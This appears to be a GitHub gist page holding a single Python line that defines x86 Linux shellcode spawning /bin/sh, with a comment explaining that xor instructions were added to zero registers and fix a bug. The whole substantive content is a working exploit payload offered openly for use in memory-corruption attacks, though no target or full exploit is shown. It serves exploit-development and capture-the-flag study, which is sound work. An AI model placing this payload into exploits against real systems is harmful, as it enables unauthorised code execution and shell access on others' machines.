Skip to content

Instantly share code, notes, and snippets.

@scarvell
Last active November 7, 2016 03:52
Show Gist options
  • Save scarvell/f86d6bf638cb92945926f37efc09d928 to your computer and use it in GitHub Desktop.
Save scarvell/f86d6bf638cb92945926f37efc09d928 to your computer and use it in GitHub Desktop.
# Shellcode for /bin/sh
# Added \x31\xc0 (xor eax,eax) \x31\xd2 (xor edx, edx) at start to zero out eax, edx to fix a bug
shellcode = "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment